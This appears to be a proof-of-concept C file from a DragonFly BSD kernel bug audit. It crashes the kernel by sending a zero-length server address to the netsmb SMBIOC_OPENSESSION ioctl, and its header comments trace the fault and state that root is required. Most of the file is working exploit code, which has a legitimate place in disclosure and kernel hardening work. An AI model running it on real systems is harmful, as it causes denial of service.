DF-0715 / smb_memdupin_zero.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | /* * DF-0715 โ smb_memdupin signed-length validation accepts zero * * Trigger: open /dev/nsmb0 (root-only, 0700 root:root by default โ admin must * have loaded the smbfs.ko / netsmb module, a normal admin action) and issue * SMBIOC_OPENSESSION with ioc_svlen == 0. * * Data flow: * nsmb_dev_ioctl (SMBIOC_OPENSESSION) * -> smb_usr_opensession (smb_usr.c:164) * -> smb_usr_vc2spec (smb_usr.c:60) * -> smb_memdupin(ioc_server, ioc_svlen=0) (smb_subr.c:137) * if (len > 8*1024) return NULL; // 0 > 8192 false, passes * p = kmalloc(0, M_SMBSTR, M_WAITOK); * // DragonFly kmalloc(0) returns ZERO_LENGTH_PTR = (void*)-8 * // (kern_slaballoc.c:193,889-890), NOT NULL * if (copyin(umem, p, 0) == 0) // len 0 -> returns 0 * return p; // returns (void*)-8 * spec->sap = (void*)-8; * if (spec->sap == NULL) ... // MISSES sentinel, not NULL * -> smb_sm_lookup -> smb_vc_create (smb_conn.c:417) * -> dup_sockaddr(vcspec->sap) (smb_conn.c:462, uipc_socket2.c:809) * kmalloc(sa->sa_len, ...) // reads *(struct sockaddr*)-8 * // address 0xFFFFFFFFFFFFFFF8 is non-canonical on x86-64 * // -> GPF -> fatal trap / kernel panic * * The bug fires BEFORE smb_suser() (smb_conn.c:428) โ the privilege check * inside smb_vc_create only gates uid/gid selection, not the dup_sockaddr * call. The actual privilege boundary is the /dev/nsmb* device open perms * (0700 root:root, smb_dev.c:355-356), so this is a root->kernel panic / * hardening gap, NOT an unprivileged escalation. * * Build: cc -o smb_memdupin_zero smb_memdupin_zero.c * Run: ./smb_memdupin_zero (must be root; needs smbfs.ko loaded) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/stat.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netsmb/smb_dev.h> int main(int argc, char **argv) { int fd, rc; struct smbioc_ossn ossn; char dummy; (void)argv; /* /dev/nsmb is the clone master (make_autoclone_dev, smb_dev.c:355); * opening it triggers nsmbclone -> make_only_dev -> /dev/nsmbN. */ fd = open("/dev/nsmb", O_RDWR); if (fd < 0) fd = open("/dev/nsmb0", O_RDWR); if (fd < 0) { /* If /dev/nsmb doesn't exist, the smbfs.ko module isn't loaded. * An admin who wants SMB client support loads it โ realistic * precondition. We do NOT load it here (kldload is root-only * and we only test the bug path, not module loading). */ perror("open /dev/nsmb (load smbfs.ko first: kldload smbfs)"); if (argc > 1 && strcmp(argv[1], "--try-kldload") == 0) { rc = system("kldload smbfs"); if (rc != 0) { fprintf(stderr, "kldload smbfs failed\n"); return 2; } fd = open("/dev/nsmb", O_RDWR); if (fd < 0) fd = open("/dev/nsmb0", O_RDWR); if (fd < 0) { perror("open /dev/nsmb after kldload"); return 2; } } else { return 2; } } memset(&ossn, 0, sizeof(ossn)); /* SMBVOPT_CREATE so smb_vc_create() is reached (and dup_sockaddr fires) */ ossn.ioc_opt = SMBVOPT_CREATE; /* ioc_svlen == 0 is the bug: smb_memdupin returns ZERO_LENGTH_PTR */ ossn.ioc_svlen = 0; /* ioc_server must be non-NULL (smb_usr_vc2spec checks). Content is * irrelevant because copyin(.,.,0) copies nothing, but the pointer * must be a valid user address so copyin doesn't EFAULT on the * pointer-validation path. */ dummy = 0; ossn.ioc_server = (struct sockaddr *)&dummy; /* ioc_local == NULL skips the second smb_memdupin (keeps PoC minimal) */ ossn.ioc_local = NULL; /* ioc_user[0] != 0 (smb_usr_vc2spec requires non-empty username) */ strlcpy(ossn.ioc_user, "u", sizeof(ossn.ioc_user)); /* ioc_localcs[0] != 0 (smb_usr_vc2spec requires non-empty local charset) */ strlcpy(ossn.ioc_localcs, "UTF-8", sizeof(ossn.ioc_localcs)); strlcpy(ossn.ioc_servercs, "UTF-8", sizeof(ossn.ioc_servercs)); /* ioc_owner = 0 (root) so smb_vc_create's uid check passes for root */ ossn.ioc_owner = 0; printf("DF-0715: issuing SMBIOC_OPENSESSION with ioc_svlen=0\n"); printf(" expected: kernel panic (fatal trap: read of sa->sa_len at " "(void*)-8 == 0xFFFFFFFFFFFFFFF8, non-canonical x86-64 GPF)\n"); fflush(stdout); rc = ioctl(fd, SMBIOC_OPENSESSION, &ossn); /* If we get here, no panic. Print errno for diagnosis. */ printf("DF-0715: ioctl returned %d (errno=%d)\n", rc, rc < 0 ? errno : 0); if (rc < 0) perror("SMBIOC_OPENSESSION"); close(fd); return 0; } |